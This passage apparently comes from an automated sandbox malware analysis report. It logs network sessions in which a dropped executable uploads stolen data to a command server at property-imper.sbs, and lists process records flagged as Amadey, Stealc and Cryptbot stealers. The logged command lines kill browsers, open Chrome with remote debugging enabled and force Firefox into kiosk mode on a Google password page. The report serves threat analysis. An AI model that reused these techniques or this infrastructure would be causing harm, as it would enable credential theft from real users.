2024-11-23 12:29:41 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q02f2lius59jbahnp34jj1h3lo; expires=Wed, 19-Mar-2025 06:16:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eTd%2FEVY0cdMmLqltqBY5ZFckS5cBUHebiIW0nTjdavBkTlUpp04uaz4etib0W4LWXG%2FZV%2BE0QjdRak3DURcMBkO0GnMNs6MsMbdMCGbzr35inQCpHWCX3O9mYw42FbRpQWmurWs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e712a8c28dd7d0b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1785&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16046&delivery_rate=1586094&cwnd=227&unsent_bytes=0&cid=c2b02205376eb264&ts=883&x=0"
2024-11-23 12:29:41 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 12:29:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50026	104.21.33.116	443	2940	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:29:45 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4M7ZGXH5OD43CR9ASP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19969 Host: property-imper.sbs
2024-11-23 12:29:45 UTC	15331	OUT	Data Raw: 2d 2d 34 4d 37 5a 47 58 48 35 4f 44 34 33 43 52 39 41 53 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 45 30 44 32 46 35 42 37 44 45 34 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 34 4d 37 5a 47 58 48 35 4f 44 34 33 43 52 39 41 53 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 34 4d 37 5a 47 58 48 35 4f 44 34 33 43 52 39 41 53 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --4M7ZGXH5OD43CR9ASPContent-Disposition: form-data; name="hwid"A9E0D2F5B7DE4AB7D7CBBD6DF28D3732--4M7ZGXH5OD43CR9ASPContent-Disposition: form-data; name="pid"3--4M7ZGXH5OD43CR9ASPContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-23 12:29:45 UTC	4638	OUT	Data Raw: 32 f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f Data Ascii: 2+?2+?2+?o?Mp5
2024-11-23 12:29:46 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=47jk63ljgfpaourm1hvje465u9; expires=Wed, 19-Mar-2025 06:16:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aoT4ZE9ze1sjBCrdDlotpLaX5fiCslwKGqAVXTP1w9LJUjNrCvubYd8PFledY0huSYE0pdGZ9ZD7BMaLmTiKbx04EyaIpvcFAsbl1NZtL1%2BoGaG%2Ffi1DxtVn5lsecc7cekaU0W8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e712aa5bf675e7a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2063&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20933&delivery_rate=1385856&cwnd=210&unsent_bytes=0&cid=8d22ff3aa35b4aca&ts=1345&x=0"
2024-11-23 12:29:46 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 12:29:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50040	104.21.33.116	443	2940	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:29:52 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DBE3NB3BEWK0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1238 Host: property-imper.sbs
2024-11-23 12:29:52 UTC	1238	OUT	Data Raw: 2d 2d 44 42 45 33 4e 42 33 42 45 57 4b 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 45 30 44 32 46 35 42 37 44 45 34 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 44 42 45 33 4e 42 33 42 45 57 4b 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 42 45 33 4e 42 33 42 45 57 4b 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 44 42 45 33 4e 42 33 42 Data Ascii: --DBE3NB3BEWK0Content-Disposition: form-data; name="hwid"A9E0D2F5B7DE4AB7D7CBBD6DF28D3732--DBE3NB3BEWK0Content-Disposition: form-data; name="pid"1--DBE3NB3BEWK0Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--DBE3NB3B
2024-11-23 12:29:52 UTC	1020	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=it9vuqp8lc8fp7nfttp4fei973; expires=Wed, 19-Mar-2025 06:16:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WtN1L%2F%2Bazj5saUl4WrJJ0Ok4irYHxe9isJ%2F%2FZOIOLwoiiBwvBwTG9TlR6pcaq8CtLWDJkLI2OHO0BoD2J7VAbeJDj1JZgegOso4%2BjOh3zw0J8oqnWTY4VHc0sbTr806M%2FfRyZJU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e712ad12dfcde94-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1648&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2151&delivery_rate=1695702&cwnd=217&unsent_bytes=0&cid=d7848b56c01984c4&ts=707&x=0"
2024-11-23 12:29:52 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 12:29:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50089	104.21.33.116	443	2940	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 12:30:00 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SYHE3SKMT2OQRDHF21 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 29039 Host: property-imper.sbs
2024-11-23 12:30:00 UTC	15331	OUT	Data Raw: 2d 2d 53 59 48 45 33 53 4b 4d 54 32 4f 51 52 44 48 46 32 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 39 45 30 44 32 46 35 42 37 44 45 34 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 53 59 48 45 33 53 4b 4d 54 32 4f 51 52 44 48 46 32 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 53 59 48 45 33 53 4b 4d 54 32 4f 51 52 44 48 46 32 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --SYHE3SKMT2OQRDHF21Content-Disposition: form-data; name="hwid"A9E0D2F5B7DE4AB7D7CBBD6DF28D3732--SYHE3SKMT2OQRDHF21Content-Disposition: form-data; name="pid"1--SYHE3SKMT2OQRDHF21Content-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-23 12:30:00 UTC	13708	OUT	Data Raw: a4 f8 3e 11 7c b4 95 bf 6c 97 07 b6 a8 9a 8b ed db 12 b6 3e de d2 12 3b bc f5 ba cf e2 ff 6c 56 27 c4 71 2c eb 23 45 97 5d 54 13 3b ac 45 46 6c 0b fa 27 07 3a 78 1c d8 d6 f9 4f 77 6c ca 91 ff eb db 47 77 7e 14 af 18 53 17 d6 93 b9 66 f5 05 89 70 9a c7 2f fb 65 9d 7f 68 8c 07 9b cc 85 5c 47 dc 7b 75 2e dc 45 03 83 ea df ca 8e 46 e3 39 3f bf 38 3a 42 a0 06 f9 90 fa 21 d7 52 cf 01 ee 16 03 22 49 97 7e 0e 2c d6 c4 d1 de ff 25 ba 99 08 96 7d 74 e7 9e 6a 67 c1 83 a4 f0 d4 22 5d e8 40 9f 44 ab 27 56 4f d8 7e 34 dc 6f 9b ef f3 c2 a8 5f 6e d5 88 0a 7e 02 53 94 84 39 38 5a fa 8f d7 16 91 0e b9 84 dd 28 6f 72 2d 57 4e 65 7c ac 06 89 06 91 03 3a 4e ef d9 cd 6b a5 92 8f 36 18 4b cd 65 a9 f9 25 43 6b 8b 9b 78 47 9c 8f 19 e4 6f 8f a4 d1 1f 52 e2 d6 7b f0 9f a1 32 a5 04 Data Ascii: >\|l>;lV'q,#E]T;EFl':xOwlGw~Sfp/eh\G{u.EF9?8:B!R"I~,%}tjg"]@D'VO~4o_n~S98Z(or-WNe\|:Nk6Ke%CkxGoR{2
2024-11-23 12:30:02 UTC	1024	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:30:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p8sftnop7pbfgagvsqb2ve9lsa; expires=Wed, 19-Mar-2025 06:16:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u3jAm%2Bt8Cm%2Bb9ty0iMFiVWzRdhs0lcmRzVi8Ag2K5K8eyGzN3327oA4z3pcJilYLIb%2FSnNzikZua29lsyJZt6fPB6WQ%2F%2FYll2V4HGA63pcFd6FLhyEQ%2B3KFPOReSq8vj2L6eKMw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e712b07af153314-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1876&sent=18&recv=36&lost=0&retrans=0&sent_bytes=2844&recv_bytes=30025&delivery_rate=1539272&cwnd=224&unsent_bytes=0&cid=6e061d5f588431e9&ts=2410&x=0"
2024-11-23 12:30:02 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 12:30:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	07:27:49
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xfb0000
File size:	1'938'432 bytes
MD5 hash:	04A06A52131DD6AA517AEA8EFD7EAAA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2153359889.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2112451523.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:27:52
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x1d0000
File size:	1'938'432 bytes
MD5 hash:	04A06A52131DD6AA517AEA8EFD7EAAA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2183185720.00000000001D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2141916503.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:27:52
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x1d0000
File size:	1'938'432 bytes
MD5 hash:	04A06A52131DD6AA517AEA8EFD7EAAA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2148877324.0000000004820000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2189175428.00000000001D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:28:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x1d0000
File size:	1'938'432 bytes
MD5 hash:	04A06A52131DD6AA517AEA8EFD7EAAA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000004.00000003.2214483848.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	07:28:17
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe"
Imagebase:	0xcc0000
File size:	4'395'520 bytes
MD5 hash:	BE3A1A14663876AD1FAFA3F52FD20337
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Cryptbot, Description: Yara detected Cryptbot, Source: 00000007.00000003.2994386470.0000000001D0D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Clipboard_Hijacker_5, Description: Yara detected Clipboard Hijacker, Source: 00000007.00000003.3710209065.0000000007B84000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	07:28:32
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe"
Imagebase:	0xaf0000
File size:	1'852'416 bytes
MD5 hash:	44EB876D74E66BC5879D4AC1B636EAF1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:28:40
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe"
Imagebase:	0x7ff799c70000
File size:	1'827'328 bytes
MD5 hash:	AE317D18BC4CA2596E61445E70CBC6DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2893781909.000000000148E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2889718527.0000000000B31000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2626514258.0000000005340000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	07:28:48
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe"
Imagebase:	0x5e0000
File size:	922'624 bytes
MD5 hash:	102B6FB97B941E26C4B49DE445AEDBD7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	07:28:48
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xa20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:28:48
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:28:48
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe"
Imagebase:	0xaf0000
File size:	1'852'416 bytes
MD5 hash:	44EB876D74E66BC5879D4AC1B636EAF1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	07:28:50
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	07:28:50
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xa20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:28:50
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:28:50
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2136,i,3555858156391927217,5472966938695166006,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:28:52
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xa20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:28:52
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:28:53
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xa20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:28:53
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:28:53
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xa20000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	07:28:53
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:28:53
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	07:28:53
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	07:28:53
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
